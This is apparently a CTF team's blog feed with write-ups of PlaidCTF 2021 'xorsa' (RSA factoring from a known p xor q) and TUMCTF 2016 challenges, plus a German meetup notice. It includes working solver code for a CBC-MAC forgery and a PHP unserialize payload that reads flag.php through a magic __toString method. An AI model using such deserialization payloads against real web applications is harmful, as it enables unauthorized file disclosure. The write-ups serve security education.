Ulm Security Sparrows2021-04-21T13:07:27+00:00Writeup of Xorsa from PlaidCTF 20212021-04-19T00:00:00+00:00/2021/04/Writeup-of-Xorsa-from-PlaidCTF-2021<h2 id="intro">Intro</h2>
<p>On 2021-04-17 we got back together since a long time and participated
in <a href="https://plaidctf.com">PlaidCTF</a>, a jeopardy-style CTF. Thanks to the
organizers and sponsors for putting together such nice challenges.</p>
<p>The USS team made the 134th place among the 541 participants, even
though we solved only one challenge.</p>
<p>This post contains my writeup of the challenge xorsa. If you want to
play around with the challenge, you can find it
<a href="/assets/2021-04-17-plaidctf/xorsa.tgz">here</a>.
If you want to read other writeups of other teams, go
<a href="https://ctftime.org/event/1199/tasks/">here</a>.</p>
<h2 id="xorsa">XORSA</h2>
<p>The challenge consisted of three files:</p>
<ul>
<li>public.pem: An RSA public key in PEM file format</li>
<li>xorsa.sage: A file with sage code.</li>
<li>flag.enc: From the sage file and the file name it is suggested, that
this is the encrypted flag.</li>
</ul>
<p>Below is the content of the sage file.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">from</span> <span class="nn">Crypto.PublicKey</span> <span class="kn">import</span> <span class="n">RSA</span>
<span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">PKCS1_OAEP</span>
<span class="kn">from</span> <span class="nn">secret</span> <span class="kn">import</span> <span class="n">p</span><span class="p">,</span><span class="n">q</span>
<span class="n">x</span> <span class="o">=</span> <span class="mi">16158503035655503426113161923582139215996816729841729510388257123879913978158886398099119284865182008994209960822918533986492024494600106348146394391522057566608094710459034761239411826561975763233251722937911293380163746384471886598967490683174505277425790076708816190844068727460135370229854070720638780344789626637927699732624476246512446229279134683464388038627051524453190148083707025054101132463059634405171130015990728153311556498299145863647112326468089494225289395728401221863674961839497514512905495012562702779156196970731085339939466059770413224786385677222902726546438487688076765303358036256878804074494</span>
<span class="k">assert</span> <span class="n">p</span><span class="o">^^</span><span class="n">q</span> <span class="o">==</span> <span class="n">x</span>
<span class="n">n</span> <span class="o">=</span> <span class="n">p</span><span class="o">*</span><span class="n">q</span>
<span class="n">e</span> <span class="o">=</span> <span class="mi">65537</span>
<span class="n">d</span> <span class="o">=</span> <span class="n">inverse_mod</span><span class="p">(</span><span class="n">e</span><span class="p">,</span> <span class="p">(</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">q</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span>
<span class="n">n</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">n</span><span class="p">)</span>
<span class="n">e</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
<span class="n">d</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">d</span><span class="p">)</span>
<span class="n">p</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="p">)</span>
<span class="n">q</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">q</span><span class="p">)</span>
<span class="n">flag</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"flag.txt"</span><span class="p">,</span><span class="s">"rb"</span><span class="p">).</span><span class="n">read</span><span class="p">().</span><span class="n">strip</span><span class="p">()</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">RSA</span><span class="p">.</span><span class="n">construct</span><span class="p">((</span><span class="n">n</span><span class="p">,</span><span class="n">e</span><span class="p">,</span><span class="n">d</span><span class="p">,</span><span class="n">p</span><span class="p">,</span><span class="n">q</span><span class="p">))</span>
<span class="n">cipher</span> <span class="o">=</span> <span class="n">PKCS1_OAEP</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
<span class="n">ciphertext</span> <span class="o">=</span> <span class="n">cipher</span><span class="p">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>
<span class="nb">open</span><span class="p">(</span><span class="s">"flag.enc"</span><span class="p">,</span><span class="s">"wb"</span><span class="p">).</span><span class="n">write</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">)</span>
<span class="nb">open</span><span class="p">(</span><span class="s">"private.pem"</span><span class="p">,</span><span class="s">"wb"</span><span class="p">).</span><span class="n">write</span><span class="p">(</span><span class="n">key</span><span class="p">.</span><span class="n">exportKey</span><span class="p">())</span>
<span class="nb">open</span><span class="p">(</span><span class="s">"public.pem"</span><span class="p">,</span><span class="s">"wb"</span><span class="p">).</span><span class="n">write</span><span class="p">(</span><span class="n">key</span><span class="p">.</span><span class="n">publickey</span><span class="p">().</span><span class="n">exportKey</span><span class="p">())</span></code></pre></figure>
<p>This is very similar to the usual setup for RSA.
We have unknown prime numbers p, q. There is a modulus n=p<em>q.
We have the public part of the key e = 65537 and the secret part d
such that e</em>d = 1 mod (p-1)(q-1).
If we could factorize n and get to know p and q, we could compute the
secret d.
OAEP is used for padding, which is also fairly standard.</p>
<p>The suspicious part that screams “look at me” is that p^^q == x and x
is known. After reading previous discussions of my teammate I learned
that ^^ is sage syntax for the xor operation.</p>
<p>So maybe it is possible to factor n, as we know x.
I simply googled this and found clever people who already solved this
<a href="https://math.stackexchange.com/questions/2087588/integer-factorization-with-additional-knowledge-of-p-oplus-q/2087589">here</a>.
The idea is that we first look at the i least significant bits (i.e.,
mod 2**i) start with i=1 and factorize there.
This gives us the lowest bits of each, p and q.
Then we increase i. As we know the xor,
we only have two more possibilities for the next bit of p to test.
We repeat this, until i covers the whole number.
In the linked stackexchange discussion, there is <a href="https://github.com/sliedes/xor_factor">a link to a github
repo</a>, where someone has
already implemented this.</p>
<p>The next steps are thus as follows:</p>
<ol>
<li>Extract n from the RSA public key.</li>
<li>Factorize n using the knowledge of x and the <a href="https://github.com/sliedes/xor_factor">github code</a>.</li>
<li>Decrypt the encrypted flag.</li>
</ol>
<h3 id="extracting-n-from-the-rsa-public-key">Extracting n from the RSA public key</h3>
<p>If you know the commands, this is fairly straightforward.
Running the following code shows n.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">from</span> <span class="nn">Crypto.PublicKey</span> <span class="kn">import</span> <span class="n">RSA</span> <span class="c1"># pip install pycrypto
</span><span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"public.pem"</span><span class="p">,</span> <span class="s">"r"</span><span class="p">)</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">RSA</span><span class="p">.</span><span class="n">importKey</span><span class="p">(</span><span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">())</span>
<span class="k">print</span><span class="p">(</span><span class="n">key</span><span class="p">.</span><span class="n">n</span><span class="p">)</span> <span class="c1">#displays n</span></code></pre></figure>
<h3 id="factorizing-n">Factorizing n</h3>
<p>Take the code from <a href="https://github.com/sliedes/xor_factor">here</a> and
invoke it like this: <code class="language-plaintext highlighter-rouge">./xorfactor n x</code>, where you have to substitute n
and x with the correct values.</p>
<h3 id="decrypting-the-flag">Decrypting the flag</h3>
<p>Now that we have all the components together, all that remains is
creating the private key and decrypting the flag.
For this, I was able to reuse some of the initial challenge code.
Note the assertion that <code class="language-plaintext highlighter-rouge">p*q == n</code>. Stuff like this is very important
for debugging when it would not have worked.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">from</span> <span class="nn">Crypto.PublicKey</span> <span class="kn">import</span> <span class="n">RSA</span>
<span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">PKCS1_OAEP</span>
<span class="n">p</span> <span class="o">=</span> <span class="mi">20420969679471891108678348706656014746583934953911779875638425062354608191587183527950669164730700934272964182495787953304429468689762991322834551415645126708376516740680832417842286228420321593951669261051536747972457884863137310884282408490497575698325423547287860485177580030001077220138986358776296171919687266364733033819652040824038462023264875486252347426522916763724808898841410387685709431644531618456599577633972666332007415430841589961044976519245509149515296930564608453957399860365835338361556249254149485870260959744131461233248546913266875137205814224895267413530734240509464368626036706116974009128413</span>
<span class="n">q</span> <span class="o">=</span> <span class="mi">28054539427494619618149689905596076429856984445645433669516156290418225421410517787779668517055290133852649936139827864804362688012118333884178242727752944519074048590360750318612378539438159662786353326373062884835264801371859099448845473624420663390433385862519105545532536453262415924316279385374822224406717473538131244397856571015984808737311810992683556365367226442459037956423012864505787939824387975762988816118609146663560957688289879555734075738210834196560874913737409142987175846607589921563622580505680695004314201238943582440280860553616004146782317383144868597295249895821620037478662736479377036405283</span>
<span class="n">n</span> <span class="o">=</span> <span class="mi">572900899020416333871774257897548190887875148332377649724629936942125065954403900214957099848244171042974830846321891115307194396859686148130195132775076147750816194194669485148310306866581747110109691391312495531105927432103095764487512855459663872226168973095665437985144973023035595602765438245069834002841752496072121527638243974956820747758308700622999731497265472265365706764203471894277850225555548962683741076063801485180774626107811063013748877832840560423294386298604594493033408101188433615350326658252746536427284017654908082042006370318751764459634138015874523739235598764251156235537699918418385721276093786930034069514119606912034739140729411915149355415250809598641184778583967357160241141516039721817350339432544637530638228659667851395488664406233933526970325653567096968977127473742267040558971420711170242569029577549402889853450812286141680939789725346428838857690827772743624748319239951407607711869461490939565401926953995816761514931996533209601647238748877564442428220404985707296616973140792150179655494712897659250302854615541193197046051998966799951879589911393813337960444303479065771250762320802542931155305758806716461516379431800232991995334538124086322560806306237096858377000246068189144665458605879</span>
<span class="n">x</span> <span class="o">=</span> <span class="mi">16158503035655503426113161923582139215996816729841729510388257123879913978158886398099119284865182008994209960822918533986492024494600106348146394391522057566608094710459034761239411826561975763233251722937911293380163746384471886598967490683174505277425790076708816190844068727460135370229854070720638780344789626637927699732624476246512446229279134683464388038627051524453190148083707025054101132463059634405171130015990728153311556498299145863647112326468089494225289395728401221863674961839497514512905495012562702779156196970731085339939466059770413224786385677222902726546438487688076765303358036256878804074494</span>
<span class="n">e</span> <span class="o">=</span> <span class="mi">65537</span>
<span class="n">d</span> <span class="o">=</span> <span class="n">inverse_mod</span><span class="p">(</span><span class="n">e</span><span class="p">,</span> <span class="p">(</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">q</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span>
<span class="k">assert</span> <span class="n">p</span><span class="o">*</span><span class="n">q</span> <span class="o">==</span> <span class="n">n</span>
<span class="k">assert</span> <span class="n">p</span><span class="o">^^</span><span class="n">q</span> <span class="o">==</span> <span class="n">x</span>
<span class="n">n</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">n</span><span class="p">)</span>
<span class="n">e</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
<span class="n">d</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">d</span><span class="p">)</span>
<span class="n">p</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="p">)</span>
<span class="n">q</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">q</span><span class="p">)</span>
<span class="n">ciphertext</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"flag.enc"</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">).</span><span class="n">read</span><span class="p">().</span><span class="n">strip</span><span class="p">()</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">RSA</span><span class="p">.</span><span class="n">construct</span><span class="p">((</span><span class="n">n</span><span class="p">,</span><span class="n">e</span><span class="p">,</span><span class="n">d</span><span class="p">,</span><span class="n">p</span><span class="p">,</span><span class="n">q</span><span class="p">))</span>
<span class="n">cipher</span> <span class="o">=</span> <span class="n">PKCS1_OAEP</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
<span class="n">flag</span> <span class="o">=</span> <span class="n">cipher</span><span class="p">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span></code></pre></figure>
<p>Running it yields the correct flag.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">hjgk</span><span class="o">@</span><span class="n">ophit</span><span class="p">:</span><span class="o">~/</span><span class="n">pctf</span><span class="o">/</span><span class="n">xorsa</span><span class="err">$</span> <span class="n">sage</span> <span class="n">sol</span><span class="p">.</span><span class="n">sage</span>
<span class="sa">b</span><span class="s">'PCTF{who_needs_xor_when_you_can_add_and_subtract}'</span></code></pre></figure>
Lebenszeichen2018-06-01T00:00:00+00:00/2018/06/lebenszeichen<p>Nachdem einige sehr aktive Mitglieder ihr Studium beendet haben und
leider aus Ulm weggezogen sind, wurde es ein wenig ruhiger um uns.</p>
<p>Aber es gibt uns natürlich noch.
Wir haben beschlossen uns wieder regelmäßig zu treffen.</p>
<p>Wir treffen uns nun jeden <em>zweiten Mittwoch im Monat um 19 Uhr</em> in Ulm
im <a href="https://verschwoerhaus.de">Verschwörhaus</a>. Wenn ihr mitmachen
wollt, kommt einfach vorbei.
Wir bearbeiten unterschiedliche CTF Aufgaben und tauschen uns über
Ideen und Ansätze aus, wie man diese lösen kann.
Wenn ihr kommen wollt, solltet ihr einen eigenen Laptop mit Linux
(auch als Virtuelle Maschine möglich) mitbringen, Anfänger sind
natürlich herzlich willkommen.</p>
TUMCTF 2016 - Writeups2016-11-04T00:00:00+00:00/2016/11/tumctf-2016-writeups
<script type="text/javascript" src="//cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<p>From 2016-09-30 to 2016-10-02 we took part in the <a href="https://ctf.hxp.io/">TUM-CTF</a> organized by the team h4x0rpsch0rr from TU Munich. As usual in CTFs there were some challenges and if you
solved one correctly a special flag in form of a binary string appears from somewhere. This flag can be submitted in the web-interface and your team gets points.</p>
<p>The guys from TU Munich did a very good job with their CTF. Some of the challenges were not online at the beginning and only became available later. But there was no noticeable server downtime or
DoS-attacks on the infrastructure.</p>
<p>Our team the Ulm Security Sparrows scored 85th place of 435.</p>
<p>As usual, we make our solutions available to the CTF community and hope to inspire others to learn about IT security.</p>
<h2 id="haggis">Haggis</h2>
<p>The Haggis challenge started with the following greeting:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>OMG, I forgot to pierce my haggis' sheep stomach before cooking it, so
it exploded all over my kitchen. Please help me clean up!
(Fun fact: Haggis hurling is a thing.)
nc $IP $PORT
</code></pre></div></div>
<p>Connecting to the port yielded some hex-code. There was also a file attached with the following content:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#!/usr/bin/env python3
import os, binascii, struct
from Crypto.Cipher import AES
pad = lambda m: m + bytes([16 - len(m) % 16] * (16 - len(m) % 16))
def haggis(m):
crypt0r = AES.new(bytes(0x10), AES.MODE_CBC, bytes(0x10))
return crypt0r.encrypt(len(m).to_bytes(0x10, 'big') + pad(m))[-0x10:]
target = os.urandom(0x10)
print(binascii.hexlify(target).decode())
msg = binascii.unhexlify(input())
if msg.startswith(b'I solemnly swear that I am up to no good.\0') \
and haggis(msg) == target:
print(open('flag.txt', 'r').read().strip())
</code></pre></div></div>
<p>This was most probably the code running on the server. Let’s look at it step by step. There is a padding defined which takes a message as input and pads it such that its length is a multiple of 16 Bytes. If one byte is missing, it adds a one, if two bytes are missing it adds two twos. If three bytes are missing it adds three threes. And so on. If the message is already a multiple of 16 Bytes, it adds 16 16s to the end. So there is one whole block of padding at the end.</p>
<p>The function haggis takes a messages and computes some kind of CBC-MAC. It prepends the length of the message. This length fills one whole block. Then comes the message itself together with the padding to make the length a multiple of the block size of the cipher. All of this is encrypted with the AES-cipher in CBC mode. The key used is 0x10, the initialization vector is set to zero. This is not in the code, but it can be found in the documentation that this is the default.
The function haggis returns the last encrypted block. This block depends on all of the previous blocks because that is the way CBC works.</p>
<p>The code then chooses a random target, which is encoded in hex and printed. It waits for an incoming msg which is hex-decoded. If msg starts with the string ‘I solemnly swear that I am up to no good.\0’ and if haggis(m) yields the target then the flag is printed.</p>
<p>So our task is pretty clear: For a given target we need to find a msg where haggis(msg)==target and msg needs to start with ‘I solemnly swear that I am up to no good.\0’.</p>
<p>To solve this challenge, remember how CBC works. CBC splits the input in blocks \(P_i\) of equal length and computes \(C_i=E(C_{i-1}\oplus P_i)\), where \(\oplus\) is the xor operator. \(C_0\) by the way is the initialization vector.
We can decrypt a single block, since we know the key. It was just 0x10. To make things easier, we restrict some variables such that we have fewer choices to make. We know that our msg needs to start with ‘I solemnly swear that I am up to no good.\0’. Let us append ‘aaaaaa’ to make this a multiple of the block size. Next comes a block further referred to as mojo which we will choose in a very special way.
The final block consists of the padding. It is one block full of padding, so in Python it looks like this:
b’\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10’.
Then we already know the length of the whole plaintext, namely 64 Bytes which we can prepend. All in all, we get the arrangement shown in the image.</p>
<p><img src="/assets/2016-11-04-tumctf-2016-writeups/haggis.png" alt="Graphical Explanation of our Forgery" /></p>
<p>Note the only part of the plaintext which is not fixed is the block containing the mojo. This mojo contains the whole magic of the forgery of the MAC. Regarding the ciphertext for the most part we do not care, except for the last block. This should be the target we receives from the server. So we can consider it as fixed.</p>
<p>How can we find a suitable mojo? We can trace the target backwards through the CBC. For sake of notation, let \(n\) denote the last block, so \(C_n=target\). We can decrypt \(C_n\) such that we end up on top of the last block. Xoring with the padding yields \(C_{n-1}\). If we decrypt \(C_{n-1}\) with a single round of AES and xor it with \(C_{n-2}\) then we get the mojo. But what is \(C_{n-2}\)? To compute this, we can start from the left hand side and encrypt with CBC. It happens to be the CBC encryption of the blocks up to then, i.e., the encryption of the string ‘I solemnly swear that I am up to no good.\0aaaaaa’. And that is already everything.</p>
<p>There were some programming issues with AES objects in CBC-mode being stateful, which we did not expect and was a source of confusion. We did not talk to the IP with Python, but instead copied the given target from Netcat into an ipython. There we computed the dehaggised target and copied it into our NetCat process.
This yielded the flag.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#!/usr/bin/env python3
import os, binascii, struct
from Crypto.Cipher import AES
pad = lambda m: m + bytes([16 - len(m) % 16] * (16 - len(m) % 16))
def haggis(m):
crypt0r = AES.new(bytes(0x10), AES.MODE_CBC, bytes(0x10))
return crypt0r.encrypt(len(m).to_bytes(0x10, 'big') + pad(m))[-0x10:]
target = os.urandom(0x10)
def bytewise_xor(string1, string2):
"""xors two bytestrings of equal length byte by byte"""
xored = bytearray()
strings = zip(string1, string2)
for s1, s2 in strings:
xored.append(s1 ^ s2)
return bytes(xored)
def dehaggis(c):
singlecrypt0r = AES.new(bytes(0x10), AES.MODE_ECB)
last_plaintext_after_xor = singlecrypt0r.decrypt(c)
padding = pad(b'')
# we want to align it with the block sizes, so the last block is only padding
msg = b'I solemnly swear that I am up to no good.\0aaaaaa'
# the message should also align with block boundaries
# len(msg) is 48, so we append one block of carefully selected
# garbage "mojo" to arrive at a length of the final message of 64.
# then comes one block of padding
crypt0r = AES.new(bytes(0x10), AES.MODE_CBC, bytes(0x10))
mojo = bytewise_xor(crypt0r.encrypt((64).to_bytes(0x10, 'big')+msg)[-0x10:],
singlecrypt0r.decrypt(bytewise_xor(last_plaintext_after_xor, padding)))
# The plaintext for haggis is now
# plaintext = (64).to_bytes(0x10, 'big') + msg + mojo + padding
return msg+mojo
def hexdehaggis(c):
"""a wrapper around dehaggis which accepts hex inputs"""
bytec = bytes.fromhex(c)
byteresult = dehaggis(bytec)
return binascii.hexlify(byteresult)
</code></pre></div></div>
<h2 id="joy-of-painting">JOY of Painting</h2>
<p>The challenge consisted only of a flac audio file. It was solved by loading the given file into the Sonic Visualiser and applying the feature Layer-Add Spectrogram. This shows the spectrum of the file. The time is as usual on the x-axis, and the y-axis denotes the frequency. We can clearly see the flag in the spectrum.</p>
<p><img src="/assets/2016-11-04-tumctf-2016-writeups/joy_of_painting.jpg" alt="Joy of Painting flac file as a Spectrogram" /></p>
<h2 id="free-as-in-bavarian-beer">Free as in Bavarian Beer</h2>
<p>The challenge presented a todo list on a website, where one could add arbitrary entries that would be displayed on the main page.
From the URLs one could easily tell that this challenge was based on php.
A link to the source code was provided. The first lines of the source file were bloated with license terms. The real code was provided below that. Let’s analyze how it works, step by step:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><html>
<head>
<style>
* {font-family: "Comic Sans MS", cursive, sans-serif}
</style>
</head>
<h1>My open/libre/free/PHP/Linux/systemd/GNU TODO List</h1>
<a href="?source"><h2>It's super secure, see for yourself</h2></a>
<?php foreach($todos as $todo):?>* <?=$todo?>
<form method="post" href=".">
<textarea name="text"></textarea>
<input type="submit" value="store">
</form>
</code></pre></div></div>
<p>Notice the foreach statement? Here, each todo-entry will be formatted to a string, so users can see their todo-entries. The form for submitting todo-entries is routed to the same script (href=”.”), so they really gave us all we need. Now, let’s check how todo-entries are processed and stored, after submission:</p>
<figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="k">if</span><span class="p">(</span><span class="k">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'text'</span><span class="p">])){</span>
<span class="nv">$todo</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'text'</span><span class="p">];</span>
<span class="nv">$todos</span><span class="p">[]</span> <span class="o">=</span> <span class="nv">$todo</span><span class="p">;</span>
<span class="nv">$m</span> <span class="o">=</span> <span class="nb">serialize</span><span class="p">(</span><span class="nv">$todos</span><span class="p">);</span>
<span class="nv">$h</span> <span class="o">=</span> <span class="nb">md5</span><span class="p">(</span><span class="nv">$m</span><span class="p">);</span>
<span class="nb">setcookie</span><span class="p">(</span><span class="s1">'todos'</span><span class="p">,</span> <span class="nv">$h</span><span class="mf">.</span><span class="nv">$m</span><span class="p">);</span>
<span class="nb">header</span><span class="p">(</span><span class="s1">'Location: '</span><span class="mf">.</span><span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'REQUEST_URI'</span><span class="p">]);</span>
<span class="k">exit</span><span class="p">;</span>
<span class="p">}</span></code></pre></figure>
<p>We learn that the value from the form ($_POST[‘text’]) is put into an array called $todos. After that, the array will be serialized and stored as a cookie like this:
<code class="language-plaintext highlighter-rouge">$COOKIE['todos'] = md5($serialized_array) . $serialized_array</code> (with . denoting string concatenation)</p>
<p>Finally, let’s look at how todo-entries are loaded:</p>
<figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="k">if</span><span class="p">(</span><span class="k">isset</span><span class="p">(</span><span class="nv">$_COOKIE</span><span class="p">[</span><span class="s1">'todos'</span><span class="p">])){</span>
<span class="nv">$c</span> <span class="o">=</span> <span class="nv">$_COOKIE</span><span class="p">[</span><span class="s1">'todos'</span><span class="p">];</span>
<span class="nv">$h</span> <span class="o">=</span> <span class="nb">substr</span><span class="p">(</span><span class="nv">$c</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">32</span><span class="p">);</span>
<span class="nv">$m</span> <span class="o">=</span> <span class="nb">substr</span><span class="p">(</span><span class="nv">$c</span><span class="p">,</span> <span class="mi">32</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="nb">md5</span><span class="p">(</span><span class="nv">$m</span><span class="p">)</span> <span class="o">===</span> <span class="nv">$h</span><span class="p">){</span>
<span class="nv">$todos</span> <span class="o">=</span> <span class="nb">unserialize</span><span class="p">(</span><span class="nv">$m</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span></code></pre></figure>
<p>If the cookie “todos” is set, the script creates two variables, like this: $h = $cookieval[0:32], $m = $cookieval[32:]
A md5 hash results in 32 characters, so $h contains md5($serialized_array). The serialized array itself is stored in $m.
After that, the script calculates the md5 of the serialized array from the cookie, to see if it matches $h. In case of a match, $todos is assigned the unserialized value of $m.</p>
<p>PHP serialization with user-supplied data can be very dangerous, because the type of the serialized data is arbitrary, which means that the user can supply <em>any</em> serialized php class to the unserialize function.
With php object serialization, whole instances of classes can be serialized. This means that every member of a class can be set to a concrete value, unless there are protections in place.
Furthermore, php classes can define so-called <em>magic functions</em>. These functions are invoked implicitly, if certain conditions are met - which makes them very interesting for exploiting deserialization of untrusted data.
For example, the magic function ‘__wakeup()’ will be called on an object directly after it has been unserialized.
This can lead to exploitable bugs, that allow attackers to craft a serialized payload that, once unserialized, can even lead to code-execution.
The exploitability of this depends on the classes that are available to the program and their methods. Keep in mind that while magic methods are helpful, such bugs can still be exploited without them.
In our case, we are lucky:</p>
<figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="kd">Class</span> <span class="nc">GPLSourceBloater</span><span class="p">{</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">__toString</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">return</span> <span class="nb">highlight_file</span><span class="p">(</span><span class="s1">'license.txt'</span><span class="p">,</span> <span class="kc">true</span><span class="p">)</span><span class="mf">.</span><span class="nb">highlight_file</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="n">source</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span></code></pre></figure>
<p>This class provides the magic function ‘__toString()’ which is called implicitly when a string representation of the object is needed.
Remembering the code that is handling the output of todo-entries, the exploitability was clear:</p>
<figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="cp"><?php</span> <span class="k">foreach</span><span class="p">(</span><span class="nv">$todos</span> <span class="k">as</span> <span class="nv">$todo</span><span class="p">)</span><span class="o">:</span><span class="cp">?></span>
<span class="nt"><li></span><span class="cp"><?=</span><span class="nv">$todo</span><span class="cp">?></span><span class="nt"></li></span>
<span class="cp"><?php</span> <span class="k">endforeach</span><span class="p">;</span><span class="cp">?></span></code></pre></figure>
<p>If we are able to sneak a GPLSourceBloater into the $todos array, this code will trigger the __toString() function. But just triggering this function is not enough.
If you look closely at the GPLSourceBloater source code, you will see that it will return the contents of two files: license.txt and a file defined by $this->source.
In the challenge description it was mentioned that the flag resides in flag.php - if we are able to point $this->source at flag.php and the __toString() function is
called in the todo-entries output code, we will be able to see the contents of the flag file.</p>
<p>Now, we have two possibilities: Read up on the serialization format and write the payload ourselves, or use the code they gave us, instantiate a class with the right variables set and serialize it straight away.
I chose to do the latter. The format of the cookie had to include the md5-sum of the serialized payload, but this can be done with php as well. I downloaded the file to my computer and added a few lines after the definition of GPLSourceBloater:</p>
<figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="nv">$testbloater</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">GPLSourceBloater</span><span class="p">();</span>
<span class="nv">$testbloater</span><span class="o">-></span><span class="n">source</span> <span class="o">=</span> <span class="s2">"flag.php"</span><span class="p">;</span>
<span class="nv">$test</span> <span class="o">=</span> <span class="nb">serialize</span><span class="p">([</span><span class="nv">$testbloater</span><span class="p">]);</span>
<span class="nv">$test_h</span> <span class="o">=</span> <span class="nb">md5</span><span class="p">(</span><span class="nv">$test</span><span class="p">);</span>
<span class="nv">$test_result</span> <span class="o">=</span> <span class="nv">$test_h</span> <span class="mf">.</span> <span class="nv">$test</span><span class="p">;</span>
<span class="k">echo</span> <span class="nv">$test_result</span><span class="p">;</span>
<span class="c1">//$todos = unserialize($test);</span></code></pre></figure>
<p>I used the last line to confirm that the vulnerability is triggered. Running this with the php-cli command resulted in the following:</p>
<figure class="highlight"><pre><code class="language-html" data-lang="html">760463360e4919ca238d1566fc26661fa:1:{i:0;O:16:"GPLSourceBloater":1:{s:6:"source";s:8:"flag.php";}}
<span class="nt"><html></span>
<span class="nt"><head></span>
<span class="nt"><style></span>
<span class="o">...</span>
<span class="o"><</span><span class="nt">ul</span><span class="o">></span>
<span class="o"><</span><span class="nt">li</span><span class="o">></span><span class="nt">PHP</span> <span class="nt">Warning</span><span class="o">:</span> <span class="nt">highlight_file</span><span class="o">(</span><span class="nt">license</span><span class="nc">.txt</span><span class="o">):</span> <span class="nt">failed</span> <span class="nt">to</span> <span class="nt">open</span> <span class="nt">stream</span><span class="o">:</span> <span class="nt">No</span> <span class="nt">such</span> <span class="nt">file</span> <span class="nt">or</span> <span class="nt">directory</span> <span class="nt">in</span> <span class="o">/</span><span class="nt">home</span><span class="o">/</span><span class="nt">user</span><span class="o">/</span><span class="nt">OPs</span><span class="o">/</span><span class="nt">TUCtf</span><span class="o">/</span><span class="nt">test</span><span class="nc">.php</span> <span class="nt">on</span> <span class="nt">line</span> <span class="err">6</span>
<span class="nt">PHP</span> <span class="nt">Warning</span><span class="o">:</span> <span class="nt">highlight_file</span><span class="o">():</span> <span class="nt">Failed</span> <span class="nt">opening</span> <span class="s2">'license.txt'</span> <span class="nt">for</span> <span class="nt">highlighting</span> <span class="nt">in</span> <span class="o">/</span><span class="nt">home</span><span class="o">/</span><span class="nt">user</span><span class="o">/</span><span class="nt">OPs</span><span class="o">/</span><span class="nt">TUCtf</span><span class="o">/</span><span class="nt">test</span><span class="nc">.php</span> <span class="nt">on</span> <span class="nt">line</span> <span class="err">6</span>
